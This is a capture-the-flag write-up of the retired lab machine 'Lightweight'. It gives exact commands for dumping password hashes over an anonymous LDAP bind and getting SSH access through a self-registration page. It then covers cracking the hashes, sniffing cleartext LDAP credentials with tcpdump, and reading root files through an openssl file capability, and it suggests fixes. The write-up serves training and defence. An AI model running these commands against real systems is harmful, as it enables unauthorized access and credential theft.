Lightweight
Summary
I scanned the target ($TARGET) and found three open services: SSH on 22, HTTP on 80, and LDAP on 389. An anonymous bind against the LDAP server — requiring no credentials — returned the full user directory including SHA-512-crypted password hashes stored in plain-sight userPassword attributes. A web page at /user.php automatically provisioned a working SSH account using the visitor's IP address as both username and password; a single HTTP request plus a 60-second wait produced an interactive shell with no brute force needed.
From that foothold, the dumped LDAP hashes were cracked offline, yielding ldapuser2's password, which was used to switch accounts and retrieve an encrypted archive (unlocked with the trivial password ). The tcpdump binary held Linux raw-socket capabilities, letting the low-privilege foothold user capture loopback traffic — where periodic LDAP simple-bind requests carried ldapuser1's password in cleartext. Logging in as ldapuser1 revealed that openssl held a cap_dac_read_search capability that bypasses all filesystem read-permission checks, allowing /root/root.txt to be read directly.
Full system compromise was achieved without a single brute-force attempt or CVE exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
Service-version scan with LDAP root DSE and HTTP path enumeration scripts.
$ nmap -Pn -sV -p22,80,389 --script ldap-rootdse,http-enum $TARGETExact commands 2
Confirm the directory naming context without credentials.
$ ldapsearch -x -H ldap://$TARGET -s base -b '' namingContextsDump all user accounts and password hashes anonymously; no -D or -w needed.
$ ldapsearch -LLL -x -H ldap://$TARGET -b "ou=People,dc=lightweight,dc=htb" "(objectClass=posixAccount)" dn uid userPasswordFixDisable anonymous LDAP binds and restrict access to password-hash attributesCritical
Exact commands 3
Trigger LDAP account creation for source IP $ATTACKER_IP.
$ curl -sS -i http://$TARGET/user.phpWait for the provisioning job to write the LDAP entry and SSH to pick it up.
$ sleep 65Log in; both username and password are my own tunnel IP.
$ sshpass -p "$ATTACKER_IP" ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no $ATTACKER_IP@$TARGETFixRemove the IP-address self-registration endpoint (user.php)Critical
Exact commands 6
Extract raw hash strings into a file John can read.
$ ldapsearch -LLL -x -H ldap://$TARGET -b "ou=People,dc=lightweight,dc=htb" "(objectClass=posixAccount)" userPassword | grep userPassword | awk '{print $2}' > hashes.txtCrack sha512crypt hashes; ldapuser2 resolves to the password.
$ john --format=crypt hashes.txtValidate the cracked credential against the live LDAP server.
$ ldapwhoami -x -H ldap://$TARGET -D "uid=ldapuser2,ou=People,dc=lightweight,dc=htb" -w "$PASSWORD"From the foothold SSH session; enter <withheld> when prompted.
$ su - ldapuser2Recover the user flag — value: <user.txt>
$ cat /home/ldapuser2/user.txtDecrypt the archive with password; examine contents for additional secrets.
$ 7z x -p$PASSWORD2 /home/ldapuser2/backup.7z -o/tmp/backup/Exact commands 2
List all file capabilities on the system; look for cap_net_raw, cap_dac_read_search, cap_setuid.
$ getcap -r / 2>/dev/nullConfirm the binary is executable by the current low-privilege user.
$ ls -la /usr/sbin/tcpdump && idFixRemove cap_net_raw and cap_net_admin from the tcpdump binary and enforce LDAPSHigh
Exact commands 2
Capture all loopback LDAP traffic; run for 90-120 seconds to catch the periodic bind, then Ctrl-C.
$ /usr/sbin/tcpdump -i lo -A -s 0 'port 389' -w /tmp/ldap_cap.pcapExtract the plaintext DN and password from the captured bindRequest.
$ strings /tmp/ldap_cap.pcap | grep -A5 'lightweight\|ldapuser'Exact commands 3
Authenticate as ldapuser1 using the password captured from the loopback LDAP sniff.
$ ssh -o PreferredAuthentications=password -o StrictHostKeyChecking=no ldapuser1@$TARGETConfirm /usr/sbin/openssl = cap_dac_read_search+ep.
$ getcap -r / 2>/dev/nullCap_dac_read_search bypasses the root:root 0400 permissions; output is <root.txt>
$ openssl enc -in /root/root.txtFixRemove cap_dac_read_search from the openssl binaryCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.4 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) |
| 389/tcp | ldap OpenLDAP 2.2.X - 2.3.X |